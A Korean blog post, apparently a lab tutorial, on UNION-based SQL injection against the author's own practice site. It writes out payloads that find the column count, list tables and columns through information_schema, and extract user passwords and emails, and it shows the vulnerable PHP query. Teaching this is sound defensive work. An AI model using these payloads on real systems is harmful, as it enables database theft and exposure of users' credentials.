이어서 로그인 페이지에서 UNION Based SQL Injection을 진행했다.
SQL에서 UNION이라는 키워드는 두 개의 쿼리문에 대한 결과를 통합해서 하나의 테이블로 보여준다. 정상적인 쿼리문에 UNION 키워드를 사용하여 인젝션에 성공하면 원하는 쿼리문을 실행할 수 있다.
UNION 키워드를 사용하려면 UNION하려는 두 테이블의 컬럼 수가 같아야 하기 때문에 컬럼 수를 먼저 구하고, 출력되는 컬럼을 파악해 원하는 정보를 탈취하게 된다.
컬럼 수 확인
' UNION SELECT ALL 1# 검색 시 컬럼 수가 맞지 않는다는 오류 메시지가 출력된다. 뒤의 숫자를 하나씩 늘려가며 입력하다 보면
' UNION SELECT ALL 1,2,3,4,5,6,7,8,9# 을 검색했을 때 오류 메시지가 출력되지 않고, 게시글 테이블과 UNION된 결과가 출력된다. 위 결과에서 컬럼 수가 9라는 정보와 1, 3, 8, 9번째 컬럼 데이터들이 출력되고 있다는 정보를 알 수 있다.
게시글 검색 결과를 가져오는 쿼리는 다음과 같았다.
$search_query = "SELECT * FROM board WHERE title LIKE '%".$search."%'";
공격 과정에서 실제 DB에 전송된 쿼리는
SELECT * FROM board WHERE title LIKE '%' UNION SELECT ALL 1,2,3,4,5,6,7,8,9#%’
로,
이 테이블과 게시글 테이블을 UNION해서 가져오게 된다.
정보 탈취
1. DB에서 사용되는 테이블 명 확인
' UNION SELECT ALL table_name,2,3,4,5,6,7,8,9 from information_schema.tables# 를 검색한다. 1번 컬럼의 자리에 테이블 명을 출력하기 위해서다.
위와 같이 내가 만들었던 테이블 이름이 출력된다.
2. 테이블에서 사용되는 column명 확인
' UNION SELECT ALL 1,2,3,4,5,6,7,column_name,9 from information_schema.columns where table_name='board'# 를 검색한다. 앞서 알아낸 테이블 board의 컬럼명을 8번 컬럼의 자리에 출력하기 위함이다.
' UNION SELECT ALL 1,2,3,4,5,6,7,column_name,9 from information_schema.columns where table_name='user_info'# 를 검색해 user_info 테이블의 컬럼명도 알아낸다.
3. 데이터 추출
알아낸 컬럼명으로 원하는 데이터를 가져온다. 출력되고 있는 컬럼 번호에 원하는 컬럼명을 넣어 출력시키면 된다. 사용자 이름, 성별, 비밀번호, 이메일을 알아내기 위해 ' UNION SELECT ALL uname, 2, ugender, 4, 5, 6, 7, upw, uemail from board# 를 검색했다.
위 과정을 반복하면 DB 내의 모든 데이터를 추출할 수 있다. 시간이 오래 걸리기 때문에 자동화 코드를 사용하기도 한다.
'웹 보안' 카테고리의 다른 글
SQL Injection - 공격 실습(4), Blind SQL Injection (0) | 2022.12.22 |
---|---|
SQL Injection - 공격 실습(3), Error Based SQL Injection (2) | 2022.12.18 |
SQL Injection - 공격 실습(1), 로그인 우회 (0) | 2022.12.18 |
SQL Injection - 모의 해킹 사이트 구축(3) (0) | 2022.12.18 |
SQL Injection - 모의 해킹 사이트 구축(2) (0) | 2022.12.18 |